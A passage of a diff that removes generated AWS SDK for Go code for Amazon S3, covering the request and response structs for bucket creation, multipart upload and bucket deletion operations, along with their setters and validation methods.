field's value. -func (s *CreateBucketInput) SetGrantRead(v string) *CreateBucketInput { - s.GrantRead = &v - return s -} - -// SetGrantReadACP sets the GrantReadACP field's value. -func (s *CreateBucketInput) SetGrantReadACP(v string) *CreateBucketInput { - s.GrantReadACP = &v - return s -} - -// SetGrantWrite sets the GrantWrite field's value. -func (s *CreateBucketInput) SetGrantWrite(v string) *CreateBucketInput { - s.GrantWrite = &v - return s -} - -// SetGrantWriteACP sets the GrantWriteACP field's value. -func (s *CreateBucketInput) SetGrantWriteACP(v string) *CreateBucketInput { - s.GrantWriteACP = &v - return s -} - -// SetObjectLockEnabledForBucket sets the ObjectLockEnabledForBucket field's value. -func (s *CreateBucketInput) SetObjectLockEnabledForBucket(v bool) *CreateBucketInput { - s.ObjectLockEnabledForBucket = &v - return s -} - -type CreateBucketOutput struct { - _ struct{} `type:"structure"` - - Location *string `location:"header" locationName:"Location" type:"string"` -} - -// String returns the string representation -func (s CreateBucketOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CreateBucketOutput) GoString() string { - return s.String() -} - -// SetLocation sets the Location field's value. -func (s *CreateBucketOutput) SetLocation(v string) *CreateBucketOutput { - s.Location = &v - return s -} - -type CreateMultipartUploadInput struct { - _ struct{} `type:"structure"` - - // The canned ACL to apply to the object. - ACL *string `location:"header" locationName:"x-amz-acl" type:"string" enum:"ObjectCannedACL"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // Specifies caching behavior along the request/reply chain. - CacheControl *string `location:"header" locationName:"Cache-Control" type:"string"` - - // Specifies presentational information for the object. - ContentDisposition *string `location:"header" locationName:"Content-Disposition" type:"string"` - - // Specifies what content encodings have been applied to the object and thus - // what decoding mechanisms must be applied to obtain the media-type referenced - // by the Content-Type header field. - ContentEncoding *string `location:"header" locationName:"Content-Encoding" type:"string"` - - // The language the content is in. - ContentLanguage *string `location:"header" locationName:"Content-Language" type:"string"` - - // A standard MIME type describing the format of the object data. - ContentType *string `location:"header" locationName:"Content-Type" type:"string"` - - // The date and time at which the object is no longer cacheable. - Expires *time.Time `location:"header" locationName:"Expires" type:"timestamp"` - - // Gives the grantee READ, READ_ACP, and WRITE_ACP permissions on the object. - GrantFullControl *string `location:"header" locationName:"x-amz-grant-full-control" type:"string"` - - // Allows grantee to read the object data and its metadata. - GrantRead *string `location:"header" locationName:"x-amz-grant-read" type:"string"` - - // Allows grantee to read the object ACL. - GrantReadACP *string `location:"header" locationName:"x-amz-grant-read-acp" type:"string"` - - // Allows grantee to write the ACL for the applicable object. - GrantWriteACP *string `location:"header" locationName:"x-amz-grant-write-acp" type:"string"` - - // Key is a required field - Key *string `location:"uri" locationName:"Key" min:"1" type:"string" required:"true"` - - // A map of metadata to store with the object in S3. - Metadata map[string]*string `location:"headers" locationName:"x-amz-meta-" type:"map"` - - // Specifies whether you want to apply a Legal Hold to the uploaded object. - ObjectLockLegalHoldStatus *string `location:"header" locationName:"x-amz-object-lock-legal-hold" type:"string" enum:"ObjectLockLegalHoldStatus"` - - // Specifies the Object Lock mode that you want to apply to the uploaded object. - ObjectLockMode *string `location:"header" locationName:"x-amz-object-lock-mode" type:"string" enum:"ObjectLockMode"` - - // Specifies the date and time when you want the Object Lock to expire. - ObjectLockRetainUntilDate *time.Time `location:"header" locationName:"x-amz-object-lock-retain-until-date" type:"timestamp" timestampFormat:"iso8601"` - - // Confirms that the requester knows that she or he will be charged for the - // request. Bucket owners need not specify this parameter in their requests. - // Documentation on downloading objects from requester pays buckets can be found - // at http://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html - RequestPayer *string `location:"header" locationName:"x-amz-request-payer" type:"string" enum:"RequestPayer"` - - // Specifies the algorithm to use to when encrypting the object (e.g., AES256). - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // Specifies the customer-provided encryption key for Amazon S3 to use in encrypting - // data. This value is used to store the object and then it is discarded; Amazon - // does not store the encryption key. The key must be appropriate for use with - // the algorithm specified in the x-amz-server-side​-encryption​-customer-algorithm - // header. - SSECustomerKey *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key" type:"string" sensitive:"true"` - - // Specifies the 128-bit MD5 digest of the encryption key according to RFC 1321. - // Amazon S3 uses this header for a message integrity check to ensure the encryption - // key was transmitted without error. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // Specifies the AWS KMS key ID to use for object encryption. All GET and PUT - // requests for an object protected by AWS KMS will fail if not made via SSL - // or using SigV4. Documentation on configuring any of the officially supported - // AWS SDKs and CLI can be found at http://docs.aws.amazon.com/AmazonS3/latest/dev/UsingAWSSDK.html#specify-signature-version - SSEKMSKeyId *string `location:"header" locationName:"x-amz-server-side-encryption-aws-kms-key-id" type:"string" sensitive:"true"` - - // The Server-side encryption algorithm used when storing this object in S3 - // (e.g., AES256, aws:kms). - ServerSideEncryption *string `location:"header" locationName:"x-amz-server-side-encryption" type:"string" enum:"ServerSideEncryption"` - - // The type of storage to use for the object. Defaults to 'STANDARD'. - StorageClass *string `location:"header" locationName:"x-amz-storage-class" type:"string" enum:"StorageClass"` - - // The tag-set for the object. The tag-set must be encoded as URL Query parameters - Tagging *string `location:"header" locationName:"x-amz-tagging" type:"string"` - - // If the bucket is configured as a website, redirects requests for this object - // to another object in the same bucket or to an external URL. Amazon S3 stores - // the value of this header in the object metadata. - WebsiteRedirectLocation *string `location:"header" locationName:"x-amz-website-redirect-location" type:"string"` -} - -// String returns the string representation -func (s CreateMultipartUploadInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CreateMultipartUploadInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *CreateMultipartUploadInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "CreateMultipartUploadInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Key == nil { - invalidParams.Add(request.NewErrParamRequired("Key")) - } - if s.Key != nil && len(*s.Key) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Key", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetACL sets the ACL field's value. -func (s *CreateMultipartUploadInput) SetACL(v string) *CreateMultipartUploadInput { - s.ACL = &v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *CreateMultipartUploadInput) SetBucket(v string) *CreateMultipartUploadInput { - s.Bucket = &v - return s -} - -func (s *CreateMultipartUploadInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetCacheControl sets the CacheControl field's value. -func (s *CreateMultipartUploadInput) SetCacheControl(v string) *CreateMultipartUploadInput { - s.CacheControl = &v - return s -} - -// SetContentDisposition sets the ContentDisposition field's value. -func (s *CreateMultipartUploadInput) SetContentDisposition(v string) *CreateMultipartUploadInput { - s.ContentDisposition = &v - return s -} - -// SetContentEncoding sets the ContentEncoding field's value. -func (s *CreateMultipartUploadInput) SetContentEncoding(v string) *CreateMultipartUploadInput { - s.ContentEncoding = &v - return s -} - -// SetContentLanguage sets the ContentLanguage field's value. -func (s *CreateMultipartUploadInput) SetContentLanguage(v string) *CreateMultipartUploadInput { - s.ContentLanguage = &v - return s -} - -// SetContentType sets the ContentType field's value. -func (s *CreateMultipartUploadInput) SetContentType(v string) *CreateMultipartUploadInput { - s.ContentType = &v - return s -} - -// SetExpires sets the Expires field's value. -func (s *CreateMultipartUploadInput) SetExpires(v time.Time) *CreateMultipartUploadInput { - s.Expires = &v - return s -} - -// SetGrantFullControl sets the GrantFullControl field's value. -func (s *CreateMultipartUploadInput) SetGrantFullControl(v string) *CreateMultipartUploadInput { - s.GrantFullControl = &v - return s -} - -// SetGrantRead sets the GrantRead field's value. -func (s *CreateMultipartUploadInput) SetGrantRead(v string) *CreateMultipartUploadInput { - s.GrantRead = &v - return s -} - -// SetGrantReadACP sets the GrantReadACP field's value. -func (s *CreateMultipartUploadInput) SetGrantReadACP(v string) *CreateMultipartUploadInput { - s.GrantReadACP = &v - return s -} - -// SetGrantWriteACP sets the GrantWriteACP field's value. -func (s *CreateMultipartUploadInput) SetGrantWriteACP(v string) *CreateMultipartUploadInput { - s.GrantWriteACP = &v - return s -} - -// SetKey sets the Key field's value. -func (s *CreateMultipartUploadInput) SetKey(v string) *CreateMultipartUploadInput { - s.Key = &v - return s -} - -// SetMetadata sets the Metadata field's value. -func (s *CreateMultipartUploadInput) SetMetadata(v map[string]*string) *CreateMultipartUploadInput { - s.Metadata = v - return s -} - -// SetObjectLockLegalHoldStatus sets the ObjectLockLegalHoldStatus field's value. -func (s *CreateMultipartUploadInput) SetObjectLockLegalHoldStatus(v string) *CreateMultipartUploadInput { - s.ObjectLockLegalHoldStatus = &v - return s -} - -// SetObjectLockMode sets the ObjectLockMode field's value. -func (s *CreateMultipartUploadInput) SetObjectLockMode(v string) *CreateMultipartUploadInput { - s.ObjectLockMode = &v - return s -} - -// SetObjectLockRetainUntilDate sets the ObjectLockRetainUntilDate field's value. -func (s *CreateMultipartUploadInput) SetObjectLockRetainUntilDate(v time.Time) *CreateMultipartUploadInput { - s.ObjectLockRetainUntilDate = &v - return s -} - -// SetRequestPayer sets the RequestPayer field's value. -func (s *CreateMultipartUploadInput) SetRequestPayer(v string) *CreateMultipartUploadInput { - s.RequestPayer = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *CreateMultipartUploadInput) SetSSECustomerAlgorithm(v string) *CreateMultipartUploadInput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKey sets the SSECustomerKey field's value. -func (s *CreateMultipartUploadInput) SetSSECustomerKey(v string) *CreateMultipartUploadInput { - s.SSECustomerKey = &v - return s -} - -func (s *CreateMultipartUploadInput) getSSECustomerKey() (v string) { - if s.SSECustomerKey == nil { - return v - } - return *s.SSECustomerKey -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *CreateMultipartUploadInput) SetSSECustomerKeyMD5(v string) *CreateMultipartUploadInput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetSSEKMSKeyId sets the SSEKMSKeyId field's value. -func (s *CreateMultipartUploadInput) SetSSEKMSKeyId(v string) *CreateMultipartUploadInput { - s.SSEKMSKeyId = &v - return s -} - -// SetServerSideEncryption sets the ServerSideEncryption field's value. -func (s *CreateMultipartUploadInput) SetServerSideEncryption(v string) *CreateMultipartUploadInput { - s.ServerSideEncryption = &v - return s -} - -// SetStorageClass sets the StorageClass field's value. -func (s *CreateMultipartUploadInput) SetStorageClass(v string) *CreateMultipartUploadInput { - s.StorageClass = &v - return s -} - -// SetTagging sets the Tagging field's value. -func (s *CreateMultipartUploadInput) SetTagging(v string) *CreateMultipartUploadInput { - s.Tagging = &v - return s -} - -// SetWebsiteRedirectLocation sets the WebsiteRedirectLocation field's value. -func (s *CreateMultipartUploadInput) SetWebsiteRedirectLocation(v string) *CreateMultipartUploadInput { - s.WebsiteRedirectLocation = &v - return s -} - -type CreateMultipartUploadOutput struct { - _ struct{} `type:"structure"` - - // Date when multipart upload will become eligible for abort operation by lifecycle. - AbortDate *time.Time `location:"header" locationName:"x-amz-abort-date" type:"timestamp"` - - // Id of the lifecycle rule that makes a multipart upload eligible for abort - // operation. - AbortRuleId *string `location:"header" locationName:"x-amz-abort-rule-id" type:"string"` - - // Name of the bucket to which the multipart upload was initiated. - Bucket *string `locationName:"Bucket" type:"string"` - - // Object key for which the multipart upload was initiated. - Key *string `min:"1" type:"string"` - - // If present, indicates that the requester was successfully charged for the - // request. - RequestCharged *string `location:"header" locationName:"x-amz-request-charged" type:"string" enum:"RequestCharged"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header confirming the encryption algorithm - // used. - SSECustomerAlgorithm *string `location:"header" locationName:"x-amz-server-side-encryption-customer-algorithm" type:"string"` - - // If server-side encryption with a customer-provided encryption key was requested, - // the response will include this header to provide round trip message integrity - // verification of the customer-provided encryption key. - SSECustomerKeyMD5 *string `location:"header" locationName:"x-amz-server-side-encryption-customer-key-MD5" type:"string"` - - // If present, specifies the ID of the AWS Key Management Service (KMS) master - // encryption key that was used for the object. - SSEKMSKeyId *string `location:"header" locationName:"x-amz-server-side-encryption-aws-kms-key-id" type:"string" sensitive:"true"` - - // The Server-side encryption algorithm used when storing this object in S3 - // (e.g., AES256, aws:kms). - ServerSideEncryption *string `location:"header" locationName:"x-amz-server-side-encryption" type:"string" enum:"ServerSideEncryption"` - - // ID for the initiated multipart upload. - UploadId *string `type:"string"` -} - -// String returns the string representation -func (s CreateMultipartUploadOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s CreateMultipartUploadOutput) GoString() string { - return s.String() -} - -// SetAbortDate sets the AbortDate field's value. -func (s *CreateMultipartUploadOutput) SetAbortDate(v time.Time) *CreateMultipartUploadOutput { - s.AbortDate = &v - return s -} - -// SetAbortRuleId sets the AbortRuleId field's value. -func (s *CreateMultipartUploadOutput) SetAbortRuleId(v string) *CreateMultipartUploadOutput { - s.AbortRuleId = &v - return s -} - -// SetBucket sets the Bucket field's value. -func (s *CreateMultipartUploadOutput) SetBucket(v string) *CreateMultipartUploadOutput { - s.Bucket = &v - return s -} - -func (s *CreateMultipartUploadOutput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetKey sets the Key field's value. -func (s *CreateMultipartUploadOutput) SetKey(v string) *CreateMultipartUploadOutput { - s.Key = &v - return s -} - -// SetRequestCharged sets the RequestCharged field's value. -func (s *CreateMultipartUploadOutput) SetRequestCharged(v string) *CreateMultipartUploadOutput { - s.RequestCharged = &v - return s -} - -// SetSSECustomerAlgorithm sets the SSECustomerAlgorithm field's value. -func (s *CreateMultipartUploadOutput) SetSSECustomerAlgorithm(v string) *CreateMultipartUploadOutput { - s.SSECustomerAlgorithm = &v - return s -} - -// SetSSECustomerKeyMD5 sets the SSECustomerKeyMD5 field's value. -func (s *CreateMultipartUploadOutput) SetSSECustomerKeyMD5(v string) *CreateMultipartUploadOutput { - s.SSECustomerKeyMD5 = &v - return s -} - -// SetSSEKMSKeyId sets the SSEKMSKeyId field's value. -func (s *CreateMultipartUploadOutput) SetSSEKMSKeyId(v string) *CreateMultipartUploadOutput { - s.SSEKMSKeyId = &v - return s -} - -// SetServerSideEncryption sets the ServerSideEncryption field's value. -func (s *CreateMultipartUploadOutput) SetServerSideEncryption(v string) *CreateMultipartUploadOutput { - s.ServerSideEncryption = &v - return s -} - -// SetUploadId sets the UploadId field's value. -func (s *CreateMultipartUploadOutput) SetUploadId(v string) *CreateMultipartUploadOutput { - s.UploadId = &v - return s -} - -// The container element for specifying the default Object Lock retention settings -// for new objects placed in the specified bucket. -type DefaultRetention struct { - _ struct{} `type:"structure"` - - // The number of days that you want to specify for the default retention period. - Days *int64 `type:"integer"` - - // The default Object Lock retention mode you want to apply to new objects placed - // in the specified bucket. - Mode *string `type:"string" enum:"ObjectLockRetentionMode"` - - // The number of years that you want to specify for the default retention period. - Years *int64 `type:"integer"` -} - -// String returns the string representation -func (s DefaultRetention) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DefaultRetention) GoString() string { - return s.String() -} - -// SetDays sets the Days field's value. -func (s *DefaultRetention) SetDays(v int64) *DefaultRetention { - s.Days = &v - return s -} - -// SetMode sets the Mode field's value. -func (s *DefaultRetention) SetMode(v string) *DefaultRetention { - s.Mode = &v - return s -} - -// SetYears sets the Years field's value. -func (s *DefaultRetention) SetYears(v int64) *DefaultRetention { - s.Years = &v - return s -} - -type Delete struct { - _ struct{} `type:"structure"` - - // Objects is a required field - Objects []*ObjectIdentifier `locationName:"Object" type:"list" flattened:"true" required:"true"` - - // Element to enable quiet mode for the request. When you add this element, - // you must set its value to true. - Quiet *bool `type:"boolean"` -} - -// String returns the string representation -func (s Delete) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s Delete) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *Delete) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "Delete"} - if s.Objects == nil { - invalidParams.Add(request.NewErrParamRequired("Objects")) - } - if s.Objects != nil { - for i, v := range s.Objects { - if v == nil { - continue - } - if err := v.Validate(); err != nil { - invalidParams.AddNested(fmt.Sprintf("%s[%v]", "Objects", i), err.(request.ErrInvalidParams)) - } - } - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetObjects sets the Objects field's value. -func (s *Delete) SetObjects(v []*ObjectIdentifier) *Delete { - s.Objects = v - return s -} - -// SetQuiet sets the Quiet field's value. -func (s *Delete) SetQuiet(v bool) *Delete { - s.Quiet = &v - return s -} - -type DeleteBucketAnalyticsConfigurationInput struct { - _ struct{} `type:"structure"` - - // The name of the bucket from which an analytics configuration is deleted. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The identifier used to represent an analytics configuration. - // - // Id is a required field - Id *string `location:"querystring" locationName:"id" type:"string" required:"true"` -} - -// String returns the string representation -func (s DeleteBucketAnalyticsConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketAnalyticsConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteBucketAnalyticsConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteBucketAnalyticsConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Id == nil { - invalidParams.Add(request.NewErrParamRequired("Id")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteBucketAnalyticsConfigurationInput) SetBucket(v string) *DeleteBucketAnalyticsConfigurationInput { - s.Bucket = &v - return s -} - -func (s *DeleteBucketAnalyticsConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetId sets the Id field's value. -func (s *DeleteBucketAnalyticsConfigurationInput) SetId(v string) *DeleteBucketAnalyticsConfigurationInput { - s.Id = &v - return s -} - -type DeleteBucketAnalyticsConfigurationOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s DeleteBucketAnalyticsConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketAnalyticsConfigurationOutput) GoString() string { - return s.String() -} - -type DeleteBucketCorsInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s DeleteBucketCorsInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketCorsInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteBucketCorsInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteBucketCorsInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteBucketCorsInput) SetBucket(v string) *DeleteBucketCorsInput { - s.Bucket = &v - return s -} - -func (s *DeleteBucketCorsInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type DeleteBucketCorsOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s DeleteBucketCorsOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketCorsOutput) GoString() string { - return s.String() -} - -type DeleteBucketEncryptionInput struct { - _ struct{} `type:"structure"` - - // The name of the bucket containing the server-side encryption configuration - // to delete. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s DeleteBucketEncryptionInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketEncryptionInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteBucketEncryptionInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteBucketEncryptionInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteBucketEncryptionInput) SetBucket(v string) *DeleteBucketEncryptionInput { - s.Bucket = &v - return s -} - -func (s *DeleteBucketEncryptionInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type DeleteBucketEncryptionOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s DeleteBucketEncryptionOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketEncryptionOutput) GoString() string { - return s.String() -} - -type DeleteBucketInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s DeleteBucketInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteBucketInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteBucketInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteBucketInput) SetBucket(v string) *DeleteBucketInput { - s.Bucket = &v - return s -} - -func (s *DeleteBucketInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type DeleteBucketInventoryConfigurationInput struct { - _ struct{} `type:"structure"` - - // The name of the bucket containing the inventory configuration to delete. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The ID used to identify the inventory configuration. - // - // Id is a required field - Id *string `location:"querystring" locationName:"id" type:"string" required:"true"` -} - -// String returns the string representation -func (s DeleteBucketInventoryConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketInventoryConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteBucketInventoryConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteBucketInventoryConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Id == nil { - invalidParams.Add(request.NewErrParamRequired("Id")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteBucketInventoryConfigurationInput) SetBucket(v string) *DeleteBucketInventoryConfigurationInput { - s.Bucket = &v - return s -} - -func (s *DeleteBucketInventoryConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetId sets the Id field's value. -func (s *DeleteBucketInventoryConfigurationInput) SetId(v string) *DeleteBucketInventoryConfigurationInput { - s.Id = &v - return s -} - -type DeleteBucketInventoryConfigurationOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s DeleteBucketInventoryConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketInventoryConfigurationOutput) GoString() string { - return s.String() -} - -type DeleteBucketLifecycleInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s DeleteBucketLifecycleInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketLifecycleInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteBucketLifecycleInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteBucketLifecycleInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteBucketLifecycleInput) SetBucket(v string) *DeleteBucketLifecycleInput { - s.Bucket = &v - return s -} - -func (s *DeleteBucketLifecycleInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type DeleteBucketLifecycleOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s DeleteBucketLifecycleOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketLifecycleOutput) GoString() string { - return s.String() -} - -type DeleteBucketMetricsConfigurationInput struct { - _ struct{} `type:"structure"` - - // The name of the bucket containing the metrics configuration to delete. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` - - // The ID used to identify the metrics configuration. - // - // Id is a required field - Id *string `location:"querystring" locationName:"id" type:"string" required:"true"` -} - -// String returns the string representation -func (s DeleteBucketMetricsConfigurationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketMetricsConfigurationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteBucketMetricsConfigurationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteBucketMetricsConfigurationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - if s.Id == nil { - invalidParams.Add(request.NewErrParamRequired("Id")) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteBucketMetricsConfigurationInput) SetBucket(v string) *DeleteBucketMetricsConfigurationInput { - s.Bucket = &v - return s -} - -func (s *DeleteBucketMetricsConfigurationInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -// SetId sets the Id field's value. -func (s *DeleteBucketMetricsConfigurationInput) SetId(v string) *DeleteBucketMetricsConfigurationInput { - s.Id = &v - return s -} - -type DeleteBucketMetricsConfigurationOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s DeleteBucketMetricsConfigurationOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketMetricsConfigurationOutput) GoString() string { - return s.String() -} - -type DeleteBucketOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s DeleteBucketOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketOutput) GoString() string { - return s.String() -} - -type DeleteBucketPolicyInput struct { - _ struct{} `type:"structure"` - - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s DeleteBucketPolicyInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketPolicyInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteBucketPolicyInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteBucketPolicyInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if s.Bucket != nil && len(*s.Bucket) < 1 { - invalidParams.Add(request.NewErrParamMinLen("Bucket", 1)) - } - - if invalidParams.Len() > 0 { - return invalidParams - } - return nil -} - -// SetBucket sets the Bucket field's value. -func (s *DeleteBucketPolicyInput) SetBucket(v string) *DeleteBucketPolicyInput { - s.Bucket = &v - return s -} - -func (s *DeleteBucketPolicyInput) getBucket() (v string) { - if s.Bucket == nil { - return v - } - return *s.Bucket -} - -type DeleteBucketPolicyOutput struct { - _ struct{} `type:"structure"` -} - -// String returns the string representation -func (s DeleteBucketPolicyOutput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketPolicyOutput) GoString() string { - return s.String() -} - -type DeleteBucketReplicationInput struct { - _ struct{} `type:"structure"` - - // The bucket name. - // - // It can take a while to propagate the deletion of a replication configuration - // to all Amazon S3 systems. - // - // Bucket is a required field - Bucket *string `location:"uri" locationName:"Bucket" type:"string" required:"true"` -} - -// String returns the string representation -func (s DeleteBucketReplicationInput) String() string { - return awsutil.Prettify(s) -} - -// GoString returns the string representation -func (s DeleteBucketReplicationInput) GoString() string { - return s.String() -} - -// Validate inspects the fields of the type to determine if they are valid. -func (s *DeleteBucketReplicationInput) Validate() error { - invalidParams := request.ErrInvalidParams{Context: "DeleteBucketReplicationInput"} - if s.Bucket == nil { - invalidParams.Add(request.NewErrParamRequired("Bucket")) - } - if 